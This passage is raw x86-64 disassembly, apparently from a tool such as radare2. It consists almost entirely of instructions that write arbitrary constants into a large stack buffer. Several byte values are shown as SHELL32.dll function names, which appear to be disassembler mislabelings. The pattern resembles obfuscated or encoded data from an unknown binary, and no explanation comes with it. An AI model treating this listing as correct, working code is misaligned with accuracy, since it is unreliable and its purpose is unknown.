mov dword [rsp + 0x6bd4], 0xf357
mov byte [rsp + 0x130], 0x5b
mov byte [rsp + 0x131], 0x78
mov byte [rsp + 0x132], 0x74
mov byte [rsp + 0x133], 0x1f
mov eax, 0xdcc
mov word [rsp + 0x13f4], ax
mov eax, 0x1d0
mov word [rsp + 0x13f8], ax
mov eax, 0x11a
mov word [rsp + 0x13fc], ax
mov dword [rsp + 0x6bd8], 0x21cb
mov byte [rsp + 0x134], 0x5e
movabs rax, 0x7d8fdae87911f0
mov qword [rsp + 0xd318], rax
mov dword [rsp + 0x6bdc], 0xc260
mov byte [rsp + 0x135], ILGetNext
mov eax, 0x7da
mov word [rsp + 0x1400], ax
mov dword [rsp + 0x6be0], 0xa73e
mov eax, 0x1c1
mov word [rsp + 0x1404], ax
mov dword [rsp + 0x6be4], 0x3289
mov eax, 0x3ab
mov word [rsp + 0x1408], ax
mov byte [rsp + 0x136], 0x77
mov dword [rsp + 0x6be8], 0x2a53
mov byte [rsp + 0x137], 0xa1
mov eax, 0x76c
mov word [rsp + 0x140c], ax
mov dword [rsp + 0x6bec], 0x5da0
mov eax, 0x679
mov word [rsp + 0x1410], ax
mov eax, 0x3a1
mov word [rsp + 0x1414], ax
mov dword [rsp + 0x6bf0], 0x626
mov byte [rsp + 0x138], ILIsParent
movabs rax, 0x7ee45ed846f96d
mov qword [rsp + 0xd320], rax
mov byte [rsp + 0x139], 0x77
movabs rax, 0x7813b69144939a
mov qword [rsp + 0xd328], rax
mov dword [rsp + 0x6bf4], 0xf57
movabs rax, 0x711f68949d9b78
mov qword [rsp + 0xd330], rax
mov byte [rsp + 0x13a], PathMakeUniqueName
mov byte [rsp + 0x13b], 6
mov eax, 0x30e
mov word [rsp + 0x1418], ax
mov eax, 0x9d3
mov word [rsp + 0x141c], ax
mov eax, 0xa01
mov word [rsp + 0x1420], ax
movabs rax, 0x7cc53ad330d16b
mov qword [rsp + 0xd338], rax
mov byte [rsp + 0x13c], 0
mov dword [rsp + 0x6bf8], 0x94c9
movabs rax, 0x73435738625946
mov qword [rsp + 0xd340], rax
mov dword [rsp + 0x6bfc], 0xc53
mov eax, 0x446
mov word [rsp + 0x1424], ax
mov byte [rsp + 0x13d], ILGetNext
mov eax, 0x327
mov word [rsp + 0x1428], ax
mov eax, 0x2f5
mov word [rsp + 0x142c], ax
mov dword [rsp + 0x6c00], 0x5928
mov eax, 0x61b
mov word [rsp + 0x1430], ax
mov dword [rsp + 0x6c04], 0x7065
mov eax, 0x47c
mov word [rsp + 0x1434], ax
mov eax, 0x333
mov word [rsp + 0x1438], ax
mov eax, 0x388
mov word [rsp + 0x143c], ax
mov byte [rsp + reloc.SHELL32.dll_ILCloneFirste], 0x13
mov dword [rsp + 0x6c08], 0x4066
mov eax, 0x6e
mov word [rsp + 0x1440], ax
mov dword [rsp + 0x6c0c], 0x3fcf
movabs rax, 0x76c2d7ed1ff3b5
mov qword [rsp + 0xd348], rax
movabs rax, 0x7b0a61e144a62c
mov qword [rsp + 0xd350], rax
mov dword [rsp + 0x6c10], 0xfbae
mov byte [rsp + 0x13f], 0x69
mov dword [rsp + 0x6c14], 0x5d46
mov eax, 0x418
mov word [rsp + 0x1444], ax
mov eax, 0x8ee
mov word [rsp + 0x1448], ax
mov byte [rsp + 0x140], 0xd9
movabs rax, 0x77962bce9ac567
mov qword [rsp + 0xd358], rax
movabs rax, 0x79f0e9a9675696
mov qword [rsp + 0xd360], rax
mov dword [rsp + 0x6c18], 0x738
mov eax, 0xa5b
mov word [rsp + 0x144c], ax
movabs rax, 0x7ab4f71a0408b2
mov qword [rsp + 0xd368], rax
mov eax, 0x33f
mov word [rsp + 0x1450], ax
mov dword [rsp + 0x6c1c], 0xddea
mov byte [rsp + 0x141], 0xeb
mov dword [rsp + 0x6c20], 0xea70
movabs rax, 0x72bd924428324a
mov qword [rsp + 0xd370], rax
movabs rax, 0x7003888a1f8559
mov qword [rsp + 0xd378], rax
mov eax, 0xb8e
mov word [rsp + 0x1454], ax
mov eax, 0xe3b
mov word [rsp + 0x1458], ax
movabs rax, 0x7c67ea4da3c9b5
mov qword [rsp + 0xd380], rax
movabs rax, 0x744ca7644a39d7
mov qword [rsp + 0xd388], rax
mov byte [rsp + 0x142], reloc.SHELL32.dll_ILFindLastID
mov eax, 0xe0d
mov word [rsp + 0x145c], ax
mov eax, 0x337
mov word [rsp + 0x1460], ax
mov byte [rsp + 0x143], 0xcd
mov eax, 0x313
mov word [rsp + 0x1464], ax
movabs rax, 0x79cc3ac2b17640
mov qword [rsp + 0xd390], rax
mov byte [rsp + 0x144], 0xa
movabs rax, 0x7d98e92db3f87e
mov qword [rsp + 0xd398], rax
mov dword [rsp + 0x6c24], 0x60fe
mov byte [rsp + 0x145], 7
movabs rax, 0x779d7812cb29aa
mov qword [rsp + 0xd3a0], rax
movabs rax, 0x7623ec5755622f
mov qword [rsp + 0xd3a8], rax
mov dword [rsp + 0x6c28], 0x41dc
movabs rax, 0x7bf0aeb10d91ed
mov qword [rsp + 0xd3b0], rax
mov dword [rsp + 0x6c2c], 0x5145
movabs rax, 0x72db5f33c62d3f
mov qword [rsp + 0xd3b8], rax
movabs rax, 0x78f2a558c157b4
mov qword [rsp + 0xd3c0], rax
mov byte [rsp + 0x146], 0xeb
mov byte [rsp + 0x147], 3
movabs rax, 0x7a72cb7dc771a8
mov qword [rsp + 0xd3c8], rax
movabs rax, 0x75510c930ba352
mov qword [rsp + 0xd3d0], rax
movabs rax, 0x789c6a2b4bacd4
mov qword [rsp + 0xd3d8], rax
mov eax, 0x306
mov word [rsp + 0x1468], ax
mov eax, 0x5e5
mov word [rsp + 0x146c], ax
mov byte [rsp + 0x148], 0xcc
mov eax, 0x1a1
mov word [rsp + 0x1470], ax
mov eax, 0xc4c
mov word [rsp + 0x1474], ax
mov eax, 0x6de
mov word [rsp + 0x1478], ax
movabs rax, 0x7a37c0a51f8174
mov qword [rsp + 0xd3e0], rax
mov eax, 0x55b
mov word [rsp + 0x147c], ax
mov byte [rsp + 0x149], PathYetAnotherMakeUniqueName
movabs rax, 0x7b545e8529b098
mov qword [rsp + 0xd3e8], rax
mov dword [rsp + 0x6c30], 0x63e6
mov byte [rsp + 0x14a], 0x5c
mov byte [rsp + 0x14b], 0xa2
mov eax, 0x84e
mov word [rsp + 0x1480], ax
mov byte [rsp + 0x14c], reloc.SHELL32.dll_ILAppendID
mov byte [rsp + 0x14d], 0x1f
mov byte [rsp + 0x14e], PathMakeUniqueName
mov dword [rsp + 0x6c34], 0xc468
movabs rax, 0x796e709734e150
mov qword [rsp + 0xd3f0], rax
mov eax, 0x682
mov word [rsp + 0x1484], ax
mov eax, 0x5fe
mov word [rsp + 0x1488], ax
mov eax, 0xe0
mov word [rsp + 0x148c], ax
mov byte [rsp + 0x14f], 0xa1
mov dword [rsp + 0x6c38], 0x270b
movabs rax, 0x7574481fc0a057
mov qword [rsp + 0xd3f8], rax
mov dword [rsp + 0x6c3c], 0x16cd
mov byte [rsp + 0x150], 0x32
movabs rax, 0x7b17aaa01ab2d9
mov qword [rsp + 0xd400], rax
movabs rax, 0x7363454065591c
mov qword [rsp + 0xd408], rax
mov eax, 0x4e
mov word [rsp + 0x1490], ax
mov byte [rsp + 0x151], 0x39
mov eax, 0x795
mov word [rsp + 0x1494], ax
mov dword [rsp + 0x6c40], 0x6a73
mov eax, 0x2b2
mov word [rsp + 0x1498], ax
mov eax, 0x567
mov word [rsp + 0x149c], ax
mov byte [rsp + 0x152], 0x32
mov byte [rsp + 0x153], 0x72
mov eax, 0xaaa
mov word [rsp + 0x14a0], ax
movabs rax, 0x7550f54b3a530a
mov qword [rsp + 0xd410], rax
mov byte [rsp + 0x154], 0x6a
movabs rax, 0x7ccc260001cae5
mov qword [rsp + 0xd418], rax
mov eax, 0x228
mov word [rsp + 0x14a4], ax
mov dword [rsp + 0x6c44], 0x3818
mov dword [rsp + 0x6c48], 0xa65c
mov dword [rsp + 0x6c4c], 0x4032
mov eax, 0x7ef
mov word [rsp + 0x14a8], ax
mov byte [rsp + 0x155], 0x82
mov byte [rsp + 0x156], 0x85
mov dword [rsp + 0x6c50], 0x2a9f
movabs rax, 0x7314c18d9cd016
mov qword [rsp + 0xd420], rax
mov byte [rsp + 0x157], PathMakeUniqueName
mov byte [rsp + 0x158], 0x19
mov eax, 0xc47
mov word [rsp + 0x14ac], ax
mov eax, 0xb0f
mov word [rsp + 0x14b0], ax
mov dword [rsp + 0x6c54], 0x5c7c
mov eax, 0xaac
mov word [rsp + 0x14b4], ax
mov dword [rsp + 0x6c58], 0xdd76
mov dword [rsp + 0x6c5c], 0x4bc9
mov eax, 0x557
mov word [rsp + 0x14b8], ax
mov eax, 0x3a3
mov word [rsp + 0x14bc], ax
mov byte [rsp + 0x159], 5
mov byte [rsp + ILIsParenta], 0x15
mov eax, 0x69f
mov word [rsp + 0x14c0], ax
mov dword [rsp + 0x6c60], 0xd305
movabs rax, 0x74f14e9db8244e
mov qword [rsp + 0xd428], rax
movabs rax, 0x74465df1bf01a5
mov qword [rsp + 0xd430], rax
mov eax, 0x293
mov word [rsp + 0x14c4], ax
mov eax, 0x103
mov word [rsp + 0x14c8], ax
movabs rax, 0x7aaa942b24c14a
mov qword [rsp + 0xd438], rax
movabs rax, 0x7d9cd1230044f3
mov qword [rsp + 0xd440], rax
mov byte [rsp + 0x15b], ILGetNext
mov byte [rsp + 0x15c], SHDoDragDrop
mov byte [rsp + 0x15d], 0x19
movabs rax, 0x70872862f40a4d
mov qword [rsp + 0xd448], rax
mov eax, 0xbcb
mov word [rsp + 0x14cc], ax
mov byte [rsp + 0x15e], 9
mov eax, 0x627
mov word [rsp + 0x14d0], ax
movabs rax, 0x740bdcfac4c4e4
mov qword [rsp + 0xd450], rax
movabs rax, 0x7c9b30090d6b1b
mov qword [rsp + 0xd458], rax
mov byte [rsp + 0x15f], 0x35
movabs rax, 0x72130c6a11dee1
mov qword [rsp + 0xd460], rax
mov dword [rsp + 0x6c64], 0x2c72
mov eax, 0x46e
mov word [rsp + 0x14d4], ax
mov dword [rsp + 0x6c68], 0x4ebd
mov dword [rsp + 0x6c6c], 0xe728
mov byte [rsp + 0x160], SHDoDragDrop
mov eax, 0xbcd
mov word [rsp + 0x14d8], ax
mov eax, 0x177
mov word [rsp + 0x14dc], ax
mov eax, 0xb89
mov word [rsp + 0x14e0], ax
movabs rax, 0x715d836173e8bf
mov qword [rsp + 0xd468], rax
mov dword [rsp + 0x6c70], 0x3fcb
mov byte [rsp + 0x161], 0x4c
movabs rax, 0x7600b4a2340fc6
mov qword [rsp + 0xd470], rax
movabs rax, 0x7cc29d3cf8985f
mov qword [rsp + 0xd478], rax
mov dword [rsp + 0x6c74], 0x379e
movabs rax, 0x7e5ead59a76e35
mov qword [rsp + 0xd480], rax
mov byte [rsp + 0x162], 0x41
mov eax, 0x25
mov word [rsp + 0x14e4], ax
mov dword [rsp + 0x6c78], 0xd66
mov eax, 0x6f2
mov word [rsp + 0x14e8], ax
mov byte [rsp + 0x163], 0x31
mov dword [rsp + 0x6c7c], 0x180f
mov eax, 0x559
mov word [rsp + 0x14ec], ax
mov dword [rsp + 0x6c80], 0x9c30
movabs rax, 0x7a0fb69568b241
mov qword [rsp + 0xd488], rax
mov eax, 0x145
mov word [rsp + 0x14f0], ax
mov byte [rsp + 0x164], reloc.SHELL32.dll_SHGetNewLinkInfoW
mov dword [rsp + 0x6c84], 0x7d5e
movabs rax, 0x72f8e8e800d670
mov qword [rsp + 0xd490], rax
movabs rax, 0x73d0f6aae7a5c8
mov qword [rsp + 0xd498], rax
movabs rax, 0x740ed4fad8b606
mov qword [rsp + 0xd4a0], rax
mov byte [rsp + 0x165], SHDoDragDrop
mov dword [rsp + 0x6c88], 0x2f9b
mov byte [rsp + 0x166], reloc.SHELL32.dll_SHSetInstanceExplorer
mov dword [rsp + 0x6c8c], 0x77a
movabs rax, 0x70c48753b14ec8
mov qword [rsp + 0xd4a8], rax
mov eax, 0x5e
mov word [rsp + 0x14f4], ax
mov dword [rsp + 0x6c90], 0x298a
movabs rax, 0x748c2501a5e2a7
mov qword [rsp + 0xd4b0], rax
mov eax, 0xf6
mov word [rsp + 0x14f8], ax
mov dword [rsp + 0x6c94], 0x5e2a
mov byte [rsp + 0x167], 0xa4
mov byte [rsp + 0x168], SHDoDragDrop
mov eax, 0xe72
mov word [rsp + 0x14fc], ax
mov byte [rsp + 0x169], 0xea
mov eax, 0xa51
mov word [rsp + 0x1500], ax
mov eax, 0x2b9
mov word [rsp + 0x1504], ax
movabs rax, 0x7c2a3c92150d24
mov qword [rsp + 0xd4b8], rax
mov dword [rsp + 0x6c98], 0x250e
mov byte [rsp + 0x16a], 0x3e
mov byte [rsp + 0x16b], 0x25
movabs rax, 0x7caf2b083d957b
mov qword [rsp + 0xd4c0], rax
movabs rax, 0x79d2a35b840452
mov qword [rsp + 0xd4c8], rax
mov byte [rsp + 0x16c], 0x83
mov dword [rsp + 0x6c9c], 0x4d38
mov byte [rsp + 0x16d], SHSetInstanceExplorer
mov dword [rsp + 0x6ca0], 0x7310
mov eax, 0xf93
mov word [rsp + 0x1508], ax
mov byte [rsp + 0x16e], reloc.SHELL32.dll_ILGetNext
mov dword [rsp + 0x6ca4], 0x5f82
mov dword [rsp + 0x6ca8], 0x2389
mov dword [rsp + 0x6cac], 0x639
movabs rax, 0x7bc43eb9c9b684
mov qword [rsp + 0xd4d0], rax
mov eax, 0x4a7
mov word [rsp + 0x150c], ax
mov eax, 0x7fc
mov word [rsp + 0x1510], ax
movabs rax, 0x779183199c8b0d
mov qword [rsp + 0xd4d8], rax
mov byte [rsp + 0x16f], 0x66
mov byte [rsp + 0x170], 0x7d
movabs rax, 0x71ec1625d068dc
mov qword [rsp + 0xd4e0], rax
movabs rax, 0x7635810deeb7c5
mov qword [rsp + 0xd4e8], rax
mov eax, 0x916
mov word [rsp + 0x1514], ax
mov byte [rsp + 0x171], 0x19
movabs rax, 0x797a4b0f76bf22
mov qword [rsp + 0xd4f0], rax
mov dword [rsp + 0x6cb0], 0xbfec
mov dword [rsp + 0x6cb4], 0x4432
mov byte [rsp + 0x172], 3
mov eax, 0xffb
mov word [rsp + 0x1518], ax
mov byte [rsp + 0x173], ILGetSize
movabs rax, 0x7e3bc72d62f2c0
mov qword [rsp + 0xd4f8], rax
mov eax, 0x24e
mov word [rsp + 0x151c], ax
mov byte [rsp + 0x174], 0xf0
movabs rax, 0x7d433f920b0915
mov qword [rsp + 0xd500], rax
mov byte [rsp + 0x175], 0x87
mov dword [rsp + 0x6cb8], 0x5034
mov dword [rsp + 0x6cbc], 0x4822
mov byte [rsp + 0x176], 0x7b
mov eax, 0x341
mov word [rsp + 0x1520], ax
mov eax, 0x82c
mov word [rsp + 0x1524], ax
mov byte [rsp + 0x177], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x6cc0], 0x2718
mov dword [rsp + 0x6cc4], 0x1083
movabs rax, 0x7ab1fadc1ccf87
mov qword [rsp + 0xd508], rax
mov byte [rsp + 0x178], SHSetInstanceExplorer
mov dword [rsp + 0x6cc8], 0x6fb6
mov byte [rsp + 0x179], 0x75
mov byte [rsp + 0x17a], ILIsParent
mov dword [rsp + 0x6ccc], 0xbc8
mov eax, 0x649
mov word [rsp + 0x1528], ax
mov byte [rsp + 0x17b], 0xf5
movabs rax, 0x7c837559639642
mov qword [rsp + 0xd510], rax
mov dword [rsp + 0x6cd0], 0x265e
mov dword [rsp + 0x6cd4], 0x53a9
mov byte [rsp + 0x17c], SHSetInstanceExplorer
mov eax, 0x820
mov word [rsp + 0x152c], ax
movabs rax, 0x72a0b74928a6ac
mov qword [rsp + 0xd518], rax
movabs rax, 0x7808f9d6c80d0f
mov qword [rsp + 0xd520], rax
movabs rax, 0x742ba882807887
mov qword [rsp + 0xd528], rax
mov dword [rsp + 0x6cd8], 0x2bf1
mov byte [rsp + 0x17d], 0xe0
movabs rax, 0x7c63d6e534e297
mov qword [rsp + 0xd530], rax
movabs rax, 0x704b42636bebaa
mov qword [rsp + 0xd538], rax
mov byte [rsp + 0x17e], 0x7c
mov byte [rsp + 0x17f], 0x39
mov eax, 0xcc
mov word [rsp + 0x1530], ax
movabs rax, 0x7d94211d203acf
mov qword [rsp + 0xd540], rax
mov byte [rsp + 0x180], ILCreateFromPathW
mov dword [rsp + 0x6cdc], 0x1ecb
movabs rax, 0x788173d2321652
mov qword [rsp + 0xd548], rax
mov dword [rsp + 0x6ce0], 0xb70
mov eax, 0xef2
mov word [rsp + 0x1534], ax
movabs rax, 0x73d2c4d4aa9cff
mov qword [rsp + 0xd550], rax
mov byte [rsp + 0x181], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov eax, 0xbe2
mov word [rsp + 0x1538], ax
mov dword [rsp + 0x6ce4], 0x8a30
mov eax, 0xcb1
mov word [rsp + 0x153c], ax
mov dword [rsp + 0x6ce8], 0x273
mov byte [rsp + 0x182], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x183], PathYetAnotherMakeUniqueName
mov eax, 0x541
mov word [rsp + 0x1540], ax
mov eax, 0xf2a
mov word [rsp + 0x1544], ax
mov dword [rsp + 0x6cec], 0x998
movabs rax, 0x7976fea4d31e79
mov qword [rsp + 0xd558], rax
mov eax, 0x65c
mov word [rsp + 0x1548], ax
movabs rax, 0x70be8a258e39b9
mov qword [rsp + 0xd560], rax
mov byte [rsp + 0x184], 0x6d
movabs rax, 0x786b51fa1a9093
mov qword [rsp + 0xd568], rax
movabs rax, 0x7e79e781ccc176
mov qword [rsp + 0xd570], rax
movabs rax, 0x77416c83530bde
mov qword [rsp + 0xd578], rax
mov eax, 0x552
mov word [rsp + 0x154c], ax
movabs rax, 0x70cbab9268c281
mov qword [rsp + 0xd580], rax
movabs rax, 0x7472aeb61a262f
mov qword [rsp + 0xd588], rax
mov dword [rsp + 0x6cf0], 0x9078
movabs rax, 0x72638420fe1e2c
mov qword [rsp + 0xd590], rax
mov byte [rsp + 0x185], 0x70
movabs rax, 0x71f73bcc0eaf9f
mov qword [rsp + 0xd598], rax
mov dword [rsp + 0x6cf4], 0x3f54
mov eax, 0x4c6
mov word [rsp + 0x1550], ax
mov dword [rsp + 0x6cf8], 0x33f8
mov eax, 0xd9d
mov word [rsp + 0x1554], ax
movabs rax, 0x77963a755b5468
mov qword [rsp + 0xd5a0], rax
mov byte [rsp + 0x186], 0x62
mov dword [rsp + 0x6cfc], 0x26c8
mov eax, 0x24e
mov word [rsp + 0x1558], ax
movabs rax, 0x7d8c9d3803d85b
mov qword [rsp + 0xd5a8], rax
movabs rax, 0x7952af79bdf7bb
mov qword [rsp + 0xd5b0], rax
movabs rax, 0x715973e3a3c12d
mov qword [rsp + 0xd5b8], rax
mov dword [rsp + 0x6d00], 0xb005
mov eax, 0xbcb
mov word [rsp + 0x155c], ax
mov dword [rsp + 0x6d04], 0x697f
mov byte [rsp + 0x187], 0x75
movabs rax, 0x7ad9fbca89418e
mov qword [rsp + 0xd5c0], rax
movabs rax, 0x73a7908a38f96f
mov qword [rsp + 0xd5c8], rax
mov dword [rsp + 0x6d08], 0x5c65
movabs rax, 0x7c0fe084b3565e
mov qword [rsp + 0xd5d0], rax
mov dword [rsp + 0x6d0c], 0xd71a
movabs rax, 0x773f6481351843
mov qword [rsp + 0xd5d8], rax
movabs rax, 0x7b19933d96e899
mov qword [rsp + 0xd5e0], rax
mov byte [rsp + 0x188], SHDoDragDrop
mov dword [rsp + 0x6d10], 0x14c5
mov dword [rsp + 0x6d14], 0x69b6
mov dword [rsp + 0x6d18], 0x4b79
mov dword [rsp + 0x6d1c], 0xad26
mov dword [rsp + 0x6d20], 0x8840
mov dword [rsp + 0x6d24], 0x1ff1
movabs rax, 0x7b20715343eef1
mov qword [rsp + 0xd5e8], rax
mov eax, 0xf6b
mov word [rsp + 0x1560], ax
mov byte [rsp + 0x189], 0xc3
mov dword [rsp + 0x6d28], 0x6bd0
mov eax, 0x568
mov word [rsp + 0x1564], ax
movabs rax, 0x7449ebbd16568c
mov qword [rsp + 0xd5f0], rax
mov byte [rsp + 0x18a], 0xc2
mov eax, 0x1db
mov word [rsp + 0x1568], ax
movabs rax, 0x7c1da3204f59c2
mov qword [rsp + 0xd5f8], rax
movabs rax, 0x70907e06a511f8
mov qword [rsp + 0xd600], rax
mov dword [rsp + 0x6d2c], 0x3748
mov dword [rsp + 0x6d30], 0x1315
movabs rax, 0x7e8212de2ab47a
mov qword [rsp + 0xd608], rax
mov eax, 0x449
mov word [rsp + 0x156c], ax
mov byte [rsp + 0x18b], 0xcd
mov eax, 0x347
mov word [rsp + 0x1570], ax
mov dword [rsp + 0x6d34], 0xdc5
mov byte [rsp + 0x18c], 0x31
mov eax, 0x955
mov word [rsp + 0x1574], ax
movabs rax, 0x7ecbbc053a1341
mov qword [rsp + 0xd610], rax
mov dword [rsp + 0x6d38], 0xe7d2
mov byte [rsp + 0x18d], 0x36
mov eax, 0x492
mov word [rsp + 0x1578], ax
movabs rax, 0x742546629877ec
mov qword [rsp + 0xd618], rax
mov eax, 0x764
mov word [rsp + 0x157c], ax
mov eax, 0x5c8
mov word [rsp + 0x1580], ax
movabs rax, 0x784cdbfc7cba0e
mov qword [rsp + 0xd620], rax
mov byte [rsp + 0x18e], 0x3a
mov byte [rsp + 0x18f], ILIsParent
mov dword [rsp + 0x6d3c], 0x76e0
movabs rax, 0x7d2864cd47ee24
mov qword [rsp + 0xd628], rax
mov byte [rsp + 0x190], 0
mov byte [rsp + 0x191], 0x7c
mov dword [rsp + 0x6d40], 0xf45e
mov eax, 0x8c0
mov word [rsp + 0x1584], ax
mov byte [rsp + 0x192], ILCreateFromPathW
mov eax, 0x7f9
mov word [rsp + 0x1588], ax
mov eax, 0x762
mov word [rsp + 0x158c], ax
movabs rax, 0x72eff91575dff6
mov qword [rsp + 0xd630], rax
movabs rax, 0x7e017ab4da341d
mov qword [rsp + 0xd638], rax
mov eax, 0x14c
mov word [rsp + 0x1590], ax
mov dword [rsp + 0x6d44], 0xc364
mov eax, 0x41a
mov word [rsp + 0x1594], ax
mov byte [rsp + 0x193], 0xf7
mov byte [rsp + 0x194], 0x74
mov eax, 0x2c8
mov word [rsp + 0x1598], ax
mov eax, 0x7c9
mov word [rsp + 0x159c], ax
mov eax, 0x67e
mov word [rsp + 0x15a0], ax
movabs rax, 0x77727dc6d95b02
mov qword [rsp + 0xd640], rax
mov eax, 0xe5a
mov word [rsp + 0x15a4], ax
mov eax, 0x87e
mov word [rsp + 0x15a8], ax
mov byte [rsp + 0x195], 0x4c
mov byte [rsp + 0x196], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x6d48], 0x2191
mov eax, 0x2cb
mov word [rsp + 0x15ac], ax
movabs rax, 0x721e76bb35f2cf
mov qword [rsp + 0xd648], rax
mov dword [rsp + 0x6d4c], 0x5f12
movabs rax, 0x7d2bae218e64f6
mov qword [rsp + 0xd650], rax
mov eax, 0x559
mov word [rsp + 0x15b0], ax
mov eax, 0x1b7
mov word [rsp + 0x15b4], ax
mov dword [rsp + 0x6d50], 0x684f
movabs rax, 0x7b01a1ebba4bdc
mov qword [rsp + 0xd658], rax
movabs rax, 0x74d6788a8676a7
mov qword [rsp + 0xd660], rax
movabs rax, 0x7b06dbec3be569
mov qword [rsp + 0xd668], rax
mov eax, 0x29c
mov word [rsp + 0x15b8], ax
mov dword [rsp + 0x6d54], 0x8cff
mov dword [rsp + 0x6d58], 0xee69
mov eax, 0x215
mov word [rsp + 0x15bc], ax
movabs rax, 0x7a8862d5056a7f
mov qword [rsp + 0xd670], rax
mov byte [rsp + 0x197], 0x41
mov eax, 0x2a5
mov word [rsp + 0x15c0], ax
mov dword [rsp + 0x6d5c], 0xfae
mov dword [rsp + 0x6d60], 0x9d22
mov dword [rsp + 0x6d64], 0x489a
movabs rax, 0x7687d939edecc5
mov qword [rsp + 0xd678], rax
mov eax, 0x392
mov word [rsp + 0x15c4], ax
mov byte [rsp + 0x198], 0x33
mov byte [rsp + 0x199], 0x75
mov eax, 0x556
mov word [rsp + 0x15c8], ax
mov eax, 0x347
mov word [rsp + 0x15cc], ax
mov byte [rsp + 0x19a], 0x82
movabs rax, 0x7aae96607bbff0
mov qword [rsp + 0xd680], rax
movabs rax, 0x77aa9c681bfef5
mov qword [rsp + 0xd688], rax
movabs rax, 0x76208603fe1ef5
mov qword [rsp + 0xd690], rax
movabs rax, 0x7a0e82b5334fe5
mov qword [rsp + 0xd698], rax
movabs rax, 0x7cc586efb0bdc3
mov qword [rsp + 0xd6a0], rax
movabs rax, 0x71568166db1d83
mov qword [rsp + 0xd6a8], rax
movabs rax, 0x79094286527ceb
mov qword [rsp + 0xd6b0], rax
mov dword [rsp + 0x6d68], 0xbc2c
mov byte [rsp + 0x19b], 0xd9
movabs rax, 0x7148f3f5b5f9e8
mov qword [rsp + 0xd6b8], rax
mov dword [rsp + 0x6d6c], 0x5715
mov byte [rsp + 0x19c], 0x8a
mov dword [rsp + 0x6d70], 0x81c0
mov dword [rsp + 0x6d74], 0x174
mov eax, 0xa31
mov word [rsp + 0x15d0], ax
mov dword [rsp + 0x6d78], 0x279
movabs rax, 0x775e3fca124200
mov qword [rsp + 0xd6c0], rax
mov dword [rsp + 0x6d7c], 0xe7d
mov byte [rsp + 0x19d], SHSetInstanceExplorer
mov dword [rsp + 0x6d80], 0x9b82
mov eax, 0xc2c
mov word [rsp + 0x15d4], ax
mov dword [rsp + 0x6d84], 0x7194
mov eax, 0xd9
mov word [rsp + 0x15d8], ax
mov eax, 0xf94
mov word [rsp + 0x15dc], ax
movabs rax, 0x78544bb305ed2a
mov qword [rsp + 0xd6c8], rax
movabs rax, 0x75f23088a34cd2
mov qword [rsp + 0xd6d0], rax
mov byte [rsp + 0x19e], 0x4e
mov byte [rsp + 0x19f], 0x7c
mov dword [rsp + 0x6d88], 0xd764
mov eax, 0x772
mov word [rsp + 0x15e0], ax
mov dword [rsp + 0x6d8c], 0x9476
mov dword [rsp + 0x6d90], 0x7780
movabs rax, 0x76ca426d997849
mov qword [rsp + 0xd6d8], rax
movabs rax, 0x78e6ffba9dc33c
mov qword [rsp + 0xd6e0], rax
movabs rax, 0x7a3cba4e98dd4f
mov qword [rsp + 0xd6e8], rax
mov eax, 0x1ed
mov word [rsp + 0x15e4], ax
movabs rax, 0x76fae358a0c18f
mov qword [rsp + 0xd6f0], rax
mov eax, 0xd60
mov word [rsp + 0x15e8], ax
mov eax, 0x1eb
mov word [rsp + 0x15ec], ax
movabs rax, 0x75eaa7de88dd4b
mov qword [rsp + 0xd6f8], rax
mov eax, 0x7c0
mov word [rsp + 0x15f0], ax
movabs rax, 0x7d9a396b6647fa
mov qword [rsp + 0xd700], rax
mov dword [rsp + 0x6d94], 0x2bd7
mov dword [rsp + 0x6d98], 0x5b55
mov byte [rsp + 0x1a0], 0x7e
mov dword [rsp + 0x6d9c], 0x610b
mov eax, 0x19c
mov word [rsp + 0x15f4], ax
mov byte [rsp + 0x1a1], 0x65
mov eax, 0x26c
mov word [rsp + 0x15f8], ax
mov eax, 0x743
mov word [rsp + 0x15fc], ax
mov eax, 0x7e2
mov word [rsp + 0x1600], ax
mov byte [rsp + 0x1a2], 0x6b
mov eax, 0x649
mov word [rsp + 0x1604], ax
mov dword [rsp + 0x6da0], 0x97d1
mov byte [rsp + 0x1a3], 0x7c
mov eax, 0x1bc
mov word [rsp + 0x1608], ax
mov eax, 0x537
mov word [rsp + 0x160c], ax
mov byte [rsp + 0x1a4], 0x24
mov eax, 0x7df
mov word [rsp + 0x1610], ax
mov eax, 0xebe
mov word [rsp + 0x1614], ax
mov eax, 0xebb
mov word [rsp + 0x1618], ax
mov dword [rsp + 0x6da4], 0x53d1
mov eax, 0x3b4
mov word [rsp + 0x161c], ax
mov eax, 0x3bc
mov word [rsp + 0x1620], ax
mov byte [rsp + 0x1a5], reloc.SHELL32.dll_ILFindChild
mov eax, 0x6db
mov word [rsp + 0x1624], ax
mov byte [rsp + 0x1a6], 0x23
mov dword [rsp + 0x6da8], 0x5b0
movabs rax, 0x75024fafb56d66
mov qword [rsp + 0xd708], rax
mov byte [rsp + 0x1a7], 0xdc
mov dword [rsp + 0x6dac], 0x57c6
mov eax, 0x3f4
mov word [rsp + 0x1628], ax
mov dword [rsp + 0x6db0], 0x8906
mov byte [rsp + 0x1a8], 0xca
movabs rax, 0x7a2bff72cf5e85
mov qword [rsp + 0xd710], rax
mov eax, 0x671
mov word [rsp + 0x162c], ax
mov eax, 0x7c
mov word [rsp + 0x1630], ax
mov eax, 0x5cf
mov word [rsp + 0x1634], ax
mov dword [rsp + 0x6db4], 0xd6bc
mov byte [rsp + 0x1a9], 0x7f
mov dword [rsp + 0x6db8], 0xa16d
mov eax, 0x691
mov word [rsp + 0x1638], ax
mov eax, 0x6d9
mov word [rsp + 0x163c], ax
mov dword [rsp + 0x6dbc], 0x30d6
movabs rax, 0x7ab3d1e4d2cc1a
mov qword [rsp + 0xd718], rax
mov eax, 0x375
mov word [rsp + 0x1640], ax
mov byte [rsp + 0x1aa], 0x77
mov byte [rsp + 0x1ab], ILRemoveLastID
mov byte [rsp + 0x1ac], 0x22
mov dword [rsp + 0x6dc0], 0xc81d
mov byte [rsp + 0x1ad], SHDoDragDrop
movabs rax, 0x795cc07dfe1316
mov qword [rsp + 0xd720], rax
movabs rax, 0x78adea54445b5b
mov qword [rsp + 0xd728], rax
movabs rax, 0x794fd5622d80e5
mov qword [rsp + 0xd730], rax
movabs rax, 0x756f15fcaa4069
mov qword [rsp + 0xd738], rax
mov byte [rsp + 0x1ae], 0x66
mov dword [rsp + 0x6dc4], 0x6d89
mov eax, 0xc98
mov word [rsp + 0x1644], ax
